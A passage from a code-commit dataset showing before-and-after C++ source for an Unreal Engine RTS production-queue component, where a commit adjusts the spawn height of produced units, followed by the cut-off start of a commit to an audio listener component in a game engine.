ProductionQueues[QueueIndex];\n\tQueue.Add(ProductClass);\n\n\tUE_LOG(LogRTS, Log, TEXT(\"%s queued %s for production in queue %i.\"), *GetOwner()->GetName(), *ProductClass->GetName(), QueueIndex);\n\n\t\/\/ Notify listeners.\n\tOnProductQueued.Broadcast(ProductClass, QueueIndex);\n\n\tif (Queue.Num() == 1)\n\t{\n\t\t\/\/ Start production.\n\t\tStartProductionInQueue(QueueIndex);\n\t}\n}\n\nvoid URTSProductionComponent::FinishProduction(int32 QueueIndex \/*= 0*\/)\n{\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn;\n\t}\n\n\tFRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\tQueue.RemainingProductionTime = 0.0f;\n\n\t\/\/ Get game.\n\tARTSGameMode* GameMode = Cast<ARTSGameMode>(UGameplayStatics::GetGameMode(this));\n\n\tif (!GameMode)\n\t{\n\t\treturn;\n\t}\n\n TSubclassOf<AActor> ProductClass = Queue[0];\n\n \/\/ Determine spawn location: Start at producing actor location.\n FVector SpawnLocation = GetOwner()->GetActorLocation();\n\n \/\/ Spawn next to production actor.\n float SpawnOffset = 0.0f;\n SpawnOffset += URTSUtilities::GetActorCollisionSize(GetOwner()) \/ 2;\n SpawnOffset += URTSUtilities::GetCollisionSize(ProductClass) \/ 2;\n SpawnOffset *= 1.05f;\n SpawnLocation.X -= SpawnOffset;\n\n \/\/ Calculate location on the ground.\n SpawnLocation = URTSUtilities::GetGroundLocation(this, SpawnLocation);\n\n \/\/ Prevent spawn collision or spawning at wrong side of the world.\n SpawnLocation.Z += URTSUtilities::GetCollisionHeight(ProductClass) + 1.0f;\n\n\t\/\/ Spawn product.\n\tAActor* Product = GameMode->SpawnActorForPlayer(\n\t\tProductClass,\n\t\tCast<AController>(GetOwner()->GetOwner()),\n\t\tFTransform(FRotator::ZeroRotator, SpawnLocation));\n\n\tif (!Product)\n\t{\n\t\treturn;\n\t}\n\n\tUE_LOG(LogRTS, Log, TEXT(\"%s finished producing %s in queue %i.\"), *GetOwner()->GetName(), *Product->GetName(), QueueIndex);\n\n\t\/\/ Notify listeners.\n\tOnProductionFinished.Broadcast(Product, QueueIndex);\n\n\t\/\/ Remove product from queue.\n\tDequeueProduct(QueueIndex);\n}\n\nvoid URTSProductionComponent::CancelProduction(int32 QueueIndex \/*= 0*\/, int32 ProductIndex \/*= 0*\/)\n{\n\t\/\/ Get queue.\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn;\n\t}\n\n\tFRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\t\/\/ Get product.\n\tif (ProductIndex < 0 || ProductIndex >= Queue.Num())\n\t{\n\t\treturn;\n\t}\n\n\tTSubclassOf<AActor> ProductClass = Queue[ProductIndex];\n\n\t\/\/ Get elapsed production time.\n\tfloat TotalProductionTime = GetProductionTimeForProduct(ProductClass);\n\tfloat RemainingProductionTime = ProductIndex == 0 ? ProductionQueues[QueueIndex].RemainingProductionTime : TotalProductionTime;\n\tfloat ElapsedProductionTime = TotalProductionTime - RemainingProductionTime;\n\n\tUE_LOG(LogRTS, Log, TEXT(\"%s canceled producing product %i of class %s in queue %i after %f seconds.\"),\n\t\t*GetOwner()->GetName(),\n\t\tProductIndex,\n\t\t*ProductClass->GetName(),\n\t\tQueueIndex,\n\t\tElapsedProductionTime);\n\n\t\/\/ Notify listeners.\n\tOnProductionCanceled.Broadcast(ProductClass, QueueIndex, ElapsedProductionTime);\n\n\t\/\/ Remove product from queue.\n\tDequeueProduct(QueueIndex, ProductIndex);\n\n\t\/\/ Refund resources.\n\tURTSProductionCostComponent* ProductionCostComponent =\n\t\tURTSUtilities::FindDefaultComponentByClass<URTSProductionCostComponent>(ProductClass);\n\n\tif (ProductionCostComponent)\n\t{\n\t\tauto Owner = GetOwner()->GetOwner();\n\n\t\tif (!Owner)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n auto PlayerResourcesComponent = Owner->FindComponentByClass<URTSPlayerResourcesComponent>();\n\n if (!PlayerResourcesComponent)\n {\n return;\n }\n\n\t\tfloat TimeRefundFactor = 0.0f;\n\n\t\tif (ProductionCostComponent->ProductionCostType == ERTSProductionCostType::COST_PayImmediately)\n\t\t{\n\t\t\tTimeRefundFactor = 1.0f;\n\t\t}\n\t\telse if (ProductionCostComponent->ProductionCostType == ERTSProductionCostType::COST_PayOverTime)\n\t\t{\n\t\t\tTimeRefundFactor = ElapsedProductionTime \/ TotalProductionTime;\n\t\t}\n\n\t\tfloat ActualRefundFactor = ProductionCostComponent->RefundFactor * TimeRefundFactor;\n\n\t\t\/\/ Refund production costs.\n\t\tfor (auto& Resource : ProductionCostComponent->Resources)\n\t\t{\n\t\t\tTSubclassOf<URTSResourceType> ResourceType = Resource.Key;\n\t\t\tfloat ResourceAmount = Resource.Value * ActualRefundFactor;\n\n PlayerResourcesComponent->AddResources(ResourceType, ResourceAmount);\n\n\t\t\tUE_LOG(LogRTS, Log, TEXT(\"%f %s of production costs refunded.\"), ResourceAmount, *ResourceType->GetName());\n\n\t\t\t\/\/ Notify listeners.\n\t\t\tOnProductionCostRefunded.Broadcast(ResourceType, ResourceAmount);\n\t\t}\n\t}\n}\n\nvoid URTSProductionComponent::DequeueProduct(int32 QueueIndex \/*= 0*\/, int32 ProductIndex \/*= 0*\/)\n{\n\t\/\/ Get queue.\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn;\n\t}\n\n\tFRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\tif (ProductIndex < 0 || ProductIndex >= Queue.Num())\n\t{\n\t\treturn;\n\t}\n\n\tQueue.RemoveAt(ProductIndex);\n\t\n\t\/\/ Check if need to start next production.\n\tif (ProductIndex == 0 && Queue.Num() > 0)\n\t{\n\t\tStartProductionInQueue(QueueIndex);\n\t}\n}\n\nvoid URTSProductionComponent::StartProductionInQueue(int32 QueueIndex \/*= 0*\/)\n{\n\t\/\/ Get queue.\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn;\n\t}\n\n\tFRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\t\/\/ Get product.\n\tif (Queue.Num() <= 0)\n\t{\n\t\treturn;\n\t}\n\n\tTSubclassOf<AActor> ProductClass = Queue[0];\n\n\t\/\/ Start production.\n\tfloat ProductionTime = GetProductionTimeForProduct(ProductClass);\n\tQueue.RemainingProductionTime = ProductionTime;\n\n\tUE_LOG(LogRTS, Log, TEXT(\"%s started producing %s in queue %i.\"), *GetOwner()->GetName(), *ProductClass->GetName(), QueueIndex);\n\n\t\/\/ Notify listeners.\n\tOnProductionStarted.Broadcast(ProductClass, QueueIndex, ProductionTime);\n}\n<commit_msg>Prevent spawn collision or spawning at wrong side of the world for produced actors.<commit_after>#include \"RTSPluginPCH.h\"\n#include \"RTSProductionComponent.h\"\n\n#include \"GameFramework\/Actor.h\"\n#include \"GameFramework\/Controller.h\"\n#include \"Engine\/BlueprintGeneratedClass.h\"\n#include \"Engine\/SCS_Node.h\"\n#include \"Kismet\/GameplayStatics.h\"\n\n#include \"RTSGameMode.h\"\n#include \"RTSProductionCostComponent.h\"\n#include \"RTSPlayerController.h\"\n#include \"RTSPlayerAdvantageComponent.h\"\n#include \"RTSPlayerResourcesComponent.h\"\n#include \"RTSUtilities.h\"\n\n\nURTSProductionComponent::URTSProductionComponent(const FObjectInitializer& ObjectInitializer)\n\t: Super(ObjectInitializer)\n{\n\tPrimaryComponentTick.bCanEverTick = true;\n\n\tSetIsReplicated(true);\n}\n\nvoid URTSProductionComponent::GetLifetimeReplicatedProps(TArray<FLifetimeProperty>& OutLifetimeProps) const\n{\n\tSuper::GetLifetimeReplicatedProps(OutLifetimeProps);\n\n\tDOREPLIFETIME(URTSProductionComponent, ProductionQueues);\n}\n\nvoid URTSProductionComponent::BeginPlay()\n{\n\tUActorComponent::BeginPlay();\n\n\t\/\/ Setup queues.\n\tfor (int32 QueueIndex = 0; QueueIndex < QueueCount; ++QueueIndex)\n\t{\n\t\tFRTSProductionQueue NewQueue;\n\t\tProductionQueues.Add(NewQueue);\n\t}\n}\n\nvoid URTSProductionComponent::TickComponent(float DeltaTime, enum ELevelTick TickType, FActorComponentTickFunction *ThisTickFunction)\n{\n\tUActorComponent::TickComponent(DeltaTime, TickType, ThisTickFunction);\n\n \/\/ Check for speed boosts.\n float SpeedBoostFactor = 1.0f;\n AActor* OwningActor = GetOwner();\n\n if (OwningActor)\n {\n AActor* OwningPlayer = OwningActor->GetOwner();\n\n if (OwningPlayer)\n {\n URTSPlayerAdvantageComponent* PlayerAdvantageComponent = OwningPlayer->FindComponentByClass<URTSPlayerAdvantageComponent>();\n\n if (PlayerAdvantageComponent)\n {\n SpeedBoostFactor = PlayerAdvantageComponent->SpeedBoostFactor;\n }\n }\n }\n\n\t\/\/ Process all queues.\n\tfor (int32 QueueIndex = 0; QueueIndex < QueueCount; ++QueueIndex)\n\t{\n\t\tif (ProductionQueues[QueueIndex].Num() <= 0)\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Check production costs.\n\t\tauto ProductClass = GetCurrentProduction(QueueIndex);\n\t\tauto ProductionCostComponent = URTSUtilities::FindDefaultComponentByClass<URTSProductionCostComponent>(ProductClass);\n\n\t\tbool bProductionCostPaid = false;\n\n\t\tif (ProductionCostComponent && ProductionCostComponent->ProductionCostType == ERTSProductionCostType::COST_PayOverTime)\n\t\t{\n\t\t\tauto Owner = GetOwner()->GetOwner();\n\n\t\t\tif (!Owner)\n\t\t\t{\n\t\t\t\tUE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for production, but has no owner.\"), *GetOwner()->GetName());\n\t\t\t\tcontinue;\n\t\t\t}\n\n auto PlayerResourcesComponent = Owner->FindComponentByClass<URTSPlayerResourcesComponent>();\n\n if (!PlayerResourcesComponent)\n {\n UE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for production, but has no PlayerResourcesComponent.\"), *Owner->GetName());\n continue;\n }\n\n\t\t\tbool bCanPayAllProductionCosts = true;\n\n\t\t\tfor (auto& Resource : ProductionCostComponent->Resources)\n\t\t\t{\n\t\t\t\tfloat ResourceAmount = Resource.Value * SpeedBoostFactor * DeltaTime \/ ProductionCostComponent->ProductionTime;\n\n\t\t\t\tif (!PlayerResourcesComponent->CanPayResources(Resource.Key, ResourceAmount))\n\t\t\t\t{\n\t\t\t\t\t\/\/ Production stopped until resources become available again.\n\t\t\t\t\tbCanPayAllProductionCosts = false;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (bCanPayAllProductionCosts)\n\t\t\t{\n\t\t\t\t\/\/ Pay production costs.\n\t\t\t\tfor (auto& Resource : ProductionCostComponent->Resources)\n\t\t\t\t{\n\t\t\t\t\tfloat ResourceAmount = Resource.Value * SpeedBoostFactor * DeltaTime \/ ProductionCostComponent->ProductionTime;\n PlayerResourcesComponent->PayResources(Resource.Key, ResourceAmount);\n\t\t\t\t}\n\n\t\t\t\tbProductionCostPaid = true;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tbProductionCostPaid = true;\n\t\t}\n\n\t\tif (!bProductionCostPaid)\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Update production progress.\n\t\tProductionQueues[QueueIndex].RemainingProductionTime -= SpeedBoostFactor * DeltaTime;\n\n\t\t\/\/ Check if finished.\n\t\tif (ProductionQueues[QueueIndex].RemainingProductionTime <= 0)\n\t\t{\n\t\t\tFinishProduction(QueueIndex);\n\t\t}\n\t}\n}\n\nbool URTSProductionComponent::CanAssignProduction(TSubclassOf<AActor> ProductClass) const\n{\n\treturn URTSUtilities::IsReadyToUse(GetOwner()) && FindQueueForProduct(ProductClass) >= 0;\n}\n\nint32 URTSProductionComponent::FindQueueForProduct(TSubclassOf<AActor> ProductClass) const\n{\n\t\/\/ Find queue with least products that is not at capacity limit.\n\tint32 QueueWithLeastProducts = -1;\n\tint32 ProductsInShortestQueue = CapacityPerQueue;\n\n\tfor (int32 QueueIndex = 0; QueueIndex < QueueCount; ++QueueIndex)\n\t{\n\t\tconst FRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\t\tif (Queue.Num() < ProductsInShortestQueue)\n\t\t{\n\t\t\tQueueWithLeastProducts = QueueIndex;\n\t\t\tProductsInShortestQueue = Queue.Num();\n\t\t}\n\t}\n\n\treturn QueueWithLeastProducts;\n}\n\nTSubclassOf<AActor> URTSProductionComponent::GetCurrentProduction(int32 QueueIndex \/*= 0*\/) const\n{\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn nullptr;\n\t}\n\n\tconst FRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\treturn Queue.Num() > 0 ? Queue[0] : nullptr;\n}\n\nfloat URTSProductionComponent::GetProductionTime(int32 QueueIndex \/*= 0*\/) const\n{\n\tTSubclassOf<AActor> CurrentProduction = GetCurrentProduction(QueueIndex);\n\n\tif (!CurrentProduction)\n\t{\n\t\treturn 0.0f;\n\t}\n\n\treturn GetProductionTimeForProduct(CurrentProduction);\n}\n\nfloat URTSProductionComponent::GetProductionTimeForProduct(TSubclassOf<AActor> ProductClass) const\n{\n\tURTSProductionCostComponent* ProductionCostComponent =\n\t\tURTSUtilities::FindDefaultComponentByClass<URTSProductionCostComponent>(ProductClass);\n\treturn ProductionCostComponent ? ProductionCostComponent->ProductionTime : 0.0f;\n}\n\nfloat URTSProductionComponent::GetProgressPercentage(int32 QueueIndex \/*= 0*\/) const\n{\n\tfloat TotalProductionTime = GetProductionTime(QueueIndex);\n\n\tif (TotalProductionTime <= 0.0f)\n\t{\n\t\treturn 1.0f;\n\t}\n\n\tfloat RemainingProductionTime = GetRemainingProductionTime(QueueIndex);\n\n\tif (RemainingProductionTime <= 0.0f)\n\t{\n\t\treturn 1.0f;\n\t}\n\n\treturn 1 - (RemainingProductionTime \/ TotalProductionTime);\n}\n\nfloat URTSProductionComponent::GetRemainingProductionTime(int32 QueueIndex \/*= 0*\/) const\n{\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn 0.0f;\n\t}\n\n\treturn ProductionQueues[QueueIndex].RemainingProductionTime;\n}\n\nbool URTSProductionComponent::IsProducing() const\n{\n\tfor (int32 QueueIndex = 0; QueueIndex < QueueCount; ++QueueIndex)\n\t{\n\t\tconst FRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\t\tif (Queue.Num() > 0)\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\t\n\treturn false;\n}\n\nvoid URTSProductionComponent::StartProduction(TSubclassOf<AActor> ProductClass)\n{\n\t\/\/ Check production state.\n\tif (!CanAssignProduction(ProductClass))\n\t{\n\t\treturn;\n\t}\n\n\tint32 QueueIndex = FindQueueForProduct(ProductClass);\n\n\tif (QueueIndex < 0)\n\t{\n\t\treturn;\n\t}\n\n \/\/ Check requirements.\n TSubclassOf<AActor> MissingRequirement;\n\n if (URTSUtilities::GetMissingRequirementFor(this, GetOwner(), ProductClass, MissingRequirement))\n {\n UE_LOG(LogRTS, Error, TEXT(\"%s wants to produce %s, but is missing requirement %s.\"), *GetOwner()->GetName(), *ProductClass->GetName(), *MissingRequirement->GetName());\n return;\n }\n\n\t\/\/ Check production cost.\n\tURTSProductionCostComponent* ProductionCostComponent =\n\t\tURTSUtilities::FindDefaultComponentByClass<URTSProductionCostComponent>(ProductClass);\n\n\tif (ProductionCostComponent && ProductionCostComponent->ProductionCostType == ERTSProductionCostType::COST_PayImmediately)\n\t{\n\t\tauto Owner = GetOwner()->GetOwner();\n\n\t\tif (!Owner)\n\t\t{\n\t\t\tUE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for production, but has no owner.\"), *GetOwner()->GetName());\n\t\t\treturn;\n\t\t}\n\n auto PlayerResourcesComponent = Owner->FindComponentByClass<URTSPlayerResourcesComponent>();\n\n if (!PlayerResourcesComponent)\n {\n UE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for production, but has no PlayerResourcesComponent.\"), *Owner->GetName());\n return;\n }\n\n\t\tif (!PlayerResourcesComponent->CanPayAllResources(ProductionCostComponent->Resources))\n\t\t{\n\t\t\tUE_LOG(LogRTS, Error, TEXT(\"%s needs to pay for producing %s, but does not have enough resources.\"),\n\t\t\t\t*Owner->GetName(),\n\t\t\t\t*ProductClass->GetName());\n\t\t\treturn;\n\t\t}\n\n\t\t\/\/ Pay production costs.\n PlayerResourcesComponent->PayAllResources(ProductionCostComponent->Resources);\n\t}\n\t\n\t\/\/ Insert into queue.\n\tFRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\tQueue.Add(ProductClass);\n\n\tUE_LOG(LogRTS, Log, TEXT(\"%s queued %s for production in queue %i.\"), *GetOwner()->GetName(), *ProductClass->GetName(), QueueIndex);\n\n\t\/\/ Notify listeners.\n\tOnProductQueued.Broadcast(ProductClass, QueueIndex);\n\n\tif (Queue.Num() == 1)\n\t{\n\t\t\/\/ Start production.\n\t\tStartProductionInQueue(QueueIndex);\n\t}\n}\n\nvoid URTSProductionComponent::FinishProduction(int32 QueueIndex \/*= 0*\/)\n{\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn;\n\t}\n\n\tFRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\tQueue.RemainingProductionTime = 0.0f;\n\n\t\/\/ Get game.\n\tARTSGameMode* GameMode = Cast<ARTSGameMode>(UGameplayStatics::GetGameMode(this));\n\n\tif (!GameMode)\n\t{\n\t\treturn;\n\t}\n\n TSubclassOf<AActor> ProductClass = Queue[0];\n\n \/\/ Determine spawn location: Start at producing actor location.\n FVector SpawnLocation = GetOwner()->GetActorLocation();\n\n \/\/ Spawn next to production actor.\n float SpawnOffset = 0.0f;\n SpawnOffset += URTSUtilities::GetActorCollisionSize(GetOwner()) \/ 2;\n SpawnOffset += URTSUtilities::GetCollisionSize(ProductClass) \/ 2;\n SpawnOffset *= 1.05f;\n SpawnLocation.X -= SpawnOffset;\n\n \/\/ Calculate location on the ground.\n SpawnLocation = URTSUtilities::GetGroundLocation(this, SpawnLocation);\n\n \/\/ Prevent spawn collision or spawning at wrong side of the world.\n SpawnLocation.Z += URTSUtilities::GetCollisionHeight(ProductClass) * 1.1f;\n\n\t\/\/ Spawn product.\n\tAActor* Product = GameMode->SpawnActorForPlayer(\n\t\tProductClass,\n\t\tCast<AController>(GetOwner()->GetOwner()),\n\t\tFTransform(FRotator::ZeroRotator, SpawnLocation));\n\n\tif (!Product)\n\t{\n\t\treturn;\n\t}\n\n\tUE_LOG(LogRTS, Log, TEXT(\"%s finished producing %s in queue %i.\"), *GetOwner()->GetName(), *Product->GetName(), QueueIndex);\n\n\t\/\/ Notify listeners.\n\tOnProductionFinished.Broadcast(Product, QueueIndex);\n\n\t\/\/ Remove product from queue.\n\tDequeueProduct(QueueIndex);\n}\n\nvoid URTSProductionComponent::CancelProduction(int32 QueueIndex \/*= 0*\/, int32 ProductIndex \/*= 0*\/)\n{\n\t\/\/ Get queue.\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn;\n\t}\n\n\tFRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\t\/\/ Get product.\n\tif (ProductIndex < 0 || ProductIndex >= Queue.Num())\n\t{\n\t\treturn;\n\t}\n\n\tTSubclassOf<AActor> ProductClass = Queue[ProductIndex];\n\n\t\/\/ Get elapsed production time.\n\tfloat TotalProductionTime = GetProductionTimeForProduct(ProductClass);\n\tfloat RemainingProductionTime = ProductIndex == 0 ? ProductionQueues[QueueIndex].RemainingProductionTime : TotalProductionTime;\n\tfloat ElapsedProductionTime = TotalProductionTime - RemainingProductionTime;\n\n\tUE_LOG(LogRTS, Log, TEXT(\"%s canceled producing product %i of class %s in queue %i after %f seconds.\"),\n\t\t*GetOwner()->GetName(),\n\t\tProductIndex,\n\t\t*ProductClass->GetName(),\n\t\tQueueIndex,\n\t\tElapsedProductionTime);\n\n\t\/\/ Notify listeners.\n\tOnProductionCanceled.Broadcast(ProductClass, QueueIndex, ElapsedProductionTime);\n\n\t\/\/ Remove product from queue.\n\tDequeueProduct(QueueIndex, ProductIndex);\n\n\t\/\/ Refund resources.\n\tURTSProductionCostComponent* ProductionCostComponent =\n\t\tURTSUtilities::FindDefaultComponentByClass<URTSProductionCostComponent>(ProductClass);\n\n\tif (ProductionCostComponent)\n\t{\n\t\tauto Owner = GetOwner()->GetOwner();\n\n\t\tif (!Owner)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n auto PlayerResourcesComponent = Owner->FindComponentByClass<URTSPlayerResourcesComponent>();\n\n if (!PlayerResourcesComponent)\n {\n return;\n }\n\n\t\tfloat TimeRefundFactor = 0.0f;\n\n\t\tif (ProductionCostComponent->ProductionCostType == ERTSProductionCostType::COST_PayImmediately)\n\t\t{\n\t\t\tTimeRefundFactor = 1.0f;\n\t\t}\n\t\telse if (ProductionCostComponent->ProductionCostType == ERTSProductionCostType::COST_PayOverTime)\n\t\t{\n\t\t\tTimeRefundFactor = ElapsedProductionTime \/ TotalProductionTime;\n\t\t}\n\n\t\tfloat ActualRefundFactor = ProductionCostComponent->RefundFactor * TimeRefundFactor;\n\n\t\t\/\/ Refund production costs.\n\t\tfor (auto& Resource : ProductionCostComponent->Resources)\n\t\t{\n\t\t\tTSubclassOf<URTSResourceType> ResourceType = Resource.Key;\n\t\t\tfloat ResourceAmount = Resource.Value * ActualRefundFactor;\n\n PlayerResourcesComponent->AddResources(ResourceType, ResourceAmount);\n\n\t\t\tUE_LOG(LogRTS, Log, TEXT(\"%f %s of production costs refunded.\"), ResourceAmount, *ResourceType->GetName());\n\n\t\t\t\/\/ Notify listeners.\n\t\t\tOnProductionCostRefunded.Broadcast(ResourceType, ResourceAmount);\n\t\t}\n\t}\n}\n\nvoid URTSProductionComponent::DequeueProduct(int32 QueueIndex \/*= 0*\/, int32 ProductIndex \/*= 0*\/)\n{\n\t\/\/ Get queue.\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn;\n\t}\n\n\tFRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\tif (ProductIndex < 0 || ProductIndex >= Queue.Num())\n\t{\n\t\treturn;\n\t}\n\n\tQueue.RemoveAt(ProductIndex);\n\t\n\t\/\/ Check if need to start next production.\n\tif (ProductIndex == 0 && Queue.Num() > 0)\n\t{\n\t\tStartProductionInQueue(QueueIndex);\n\t}\n}\n\nvoid URTSProductionComponent::StartProductionInQueue(int32 QueueIndex \/*= 0*\/)\n{\n\t\/\/ Get queue.\n\tif (QueueIndex < 0 || QueueIndex >= QueueCount)\n\t{\n\t\treturn;\n\t}\n\n\tFRTSProductionQueue& Queue = ProductionQueues[QueueIndex];\n\n\t\/\/ Get product.\n\tif (Queue.Num() <= 0)\n\t{\n\t\treturn;\n\t}\n\n\tTSubclassOf<AActor> ProductClass = Queue[0];\n\n\t\/\/ Start production.\n\tfloat ProductionTime = GetProductionTimeForProduct(ProductClass);\n\tQueue.RemainingProductionTime = ProductionTime;\n\n\tUE_LOG(LogRTS, Log, TEXT(\"%s started producing %s in queue %i.\"), *GetOwner()->GetName(), *ProductClass->GetName(), QueueIndex);\n\n\t\/\/ Notify listeners.\n\tOnProductionStarted.Broadcast(ProductClass, QueueIndex, ProductionTime);\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/\tAudioListener.cpp\n\/\/\tCreated by Matt Kaufmann on 04\/10\/14.\n\/\/\n\n#include \"Vajra\/Common\/Messages\/Message.h\"\n#include \"Vajra\/Common\/Objects\/Object.h\"\n#include \"Vajra\/Engine\/AudioManager\/AudioManager.h\"\n#include \"Vajra\/Engine\/Components\/ComponentTypes\/ComponentTypeIds.h\"\n#include \"Vajra\/Engine\/Components\/DerivedComponents\/Audio\/AudioListener.h\"\n#include \"Vajra\/Engine\/Components\/DerivedComponents\/Transform\/Transform.h\"\n#include \"Vajra\/Engine\/Core\/Engine.h\"\n\nunsigned int AudioListener::componentTypeId = COMPONENT_TYPE_ID_AUDIO_LISTENER;\nObjectIdType AudioListener::activeListener = OBJECT_ID_INVALID;\n\n\/\/ Constructors\nAudioListener::AudioListener() : Component() {\n\tthis->init();\n}\n\nAudioListener::AudioListener(Object* object_) : Component(object_) {\n\tthis->init();\n}\n\n\/\/ Destructor\nAudioListener::~AudioListener() {\n\tthis->destroy();\n}\n\nbool AudioListener::Is3DSoundEnabled() {\n\treturn this->is3D;\n}\n\nvoid AudioListener::Enable3DSound() {\n\tthis->is3D = true;\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tENGINE->GetAudioManager()->Enable3DSound();\n\t}\n}\n\nvoid AudioListener::Disable3DSound() {\n\tthis->is3D = false;\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tENGINE->GetAudioManager()->Disable3DSound();\n\t}\n}\n\nvoid AudioListener::SetVelocity(glm::vec3 vel) {\n\tthis->velocity = vel;\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tENGINE->GetAudioManager()->SetListenerVelocity(vel);\n\t}\n}\n\nvoid AudioListener::SetVelocity(float x, float y, float z) {\n\tthis->velocity = glm::vec3(x, y, z);\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tENGINE->GetAudioManager()->SetListenerVelocity(x, y, z);\n\t}\n}\n\nvoid AudioListener::SetVolume(float vol) {\n\tthis->volume = vol;\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tENGINE->GetAudioManager()->SetListenerVolume(vol);\n\t}\n}\n\nvoid AudioListener::HandleMessage(MessageChunk messageChunk) {\n\tComponent::HandleMessage(messageChunk);\n\n\tswitch (messageChunk->GetMessageType()) {\n\t\tcase MESSAGE_TYPE_TRANSFORM_CHANGED_EVENT:\n\t\t\tonTransformChanged();\n\t\t\tbreak;\n\t}\n}\n\nvoid AudioListener::SetAsActiveListener() {\n\tif (AudioListener::activeListener != this->GetObject()->GetId()) {\n\t\tif (this->is3D) {\n\t\t\tENGINE->GetAudioManager()->Enable3DSound();\n\t\t}\n\t\telse {\n\t\t\tENGINE->GetAudioManager()->Disable3DSound();\n\t\t}\n\n\t\tTransform* trans = this->GetObject()->GetComponent<Transform>();\n\t\tENGINE->GetAudioManager()->SetListenerPosition(trans->GetPositionWorld());\n\t\tENGINE->GetAudioManager()->SetListenerOrientation(trans->GetOrientationWorld());\n\n\t\tENGINE->GetAudioManager()->SetListenerVelocity(this->velocity);\n\t\tENGINE->GetAudioManager()->SetListenerVolume(this->volume);\n\n\t\tAudioListener::activeListener = this->GetObject()->GetId();\n\t}\n}\n\nvoid AudioListener::init() {\n\tthis->is3D = false;\n\tthis->velocity = ZERO_VEC3;\n\tthis->volume = 0.0f;\n\n\tthis->addSubscriptionToMessageType(MESSAGE_TYPE_TRANSFORM_CHANGED_EVENT, this->GetTypeId(), true);\n}\n\nvoid AudioListener::destroy() {\n\n}\n\nvoid AudioListener::onTransformChanged() {\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tTransform* trans = this->GetObject()->GetComponent<Transform>();\n\t\tENGINE->GetAudioManager()->SetListenerPosition(trans->GetPositionWorld());\n\t\tENGINE->GetAudioManager()->SetListenerOrientation(trans->GetOrientationWorld());\n\t}\n}\n<commit_msg>unmuted audio listener<commit_after>\/\/\n\/\/\tAudioListener.cpp\n\/\/\tCreated by Matt Kaufmann on 04\/10\/14.\n\/\/\n\n#include \"Vajra\/Common\/Messages\/Message.h\"\n#include \"Vajra\/Common\/Objects\/Object.h\"\n#include \"Vajra\/Engine\/AudioManager\/AudioManager.h\"\n#include \"Vajra\/Engine\/Components\/ComponentTypes\/ComponentTypeIds.h\"\n#include \"Vajra\/Engine\/Components\/DerivedComponents\/Audio\/AudioListener.h\"\n#include \"Vajra\/Engine\/Components\/DerivedComponents\/Transform\/Transform.h\"\n#include \"Vajra\/Engine\/Core\/Engine.h\"\n\nunsigned int AudioListener::componentTypeId = COMPONENT_TYPE_ID_AUDIO_LISTENER;\nObjectIdType AudioListener::activeListener = OBJECT_ID_INVALID;\n\n\/\/ Constructors\nAudioListener::AudioListener() : Component() {\n\tthis->init();\n}\n\nAudioListener::AudioListener(Object* object_) : Component(object_) {\n\tthis->init();\n}\n\n\/\/ Destructor\nAudioListener::~AudioListener() {\n\tthis->destroy();\n}\n\nbool AudioListener::Is3DSoundEnabled() {\n\treturn this->is3D;\n}\n\nvoid AudioListener::Enable3DSound() {\n\tthis->is3D = true;\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tENGINE->GetAudioManager()->Enable3DSound();\n\t}\n}\n\nvoid AudioListener::Disable3DSound() {\n\tthis->is3D = false;\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tENGINE->GetAudioManager()->Disable3DSound();\n\t}\n}\n\nvoid AudioListener::SetVelocity(glm::vec3 vel) {\n\tthis->velocity = vel;\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tENGINE->GetAudioManager()->SetListenerVelocity(vel);\n\t}\n}\n\nvoid AudioListener::SetVelocity(float x, float y, float z) {\n\tthis->velocity = glm::vec3(x, y, z);\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) {\n\t\tENGINE->GetAudioManager()->SetListenerVelocity(x, y, z);\n\t}\n}\n\nvoid AudioListener::SetVolume(float vol) {\n\tthis->volume = vol;\n\tif (AudioListener::activeListener == this->GetObject()->GetId()) 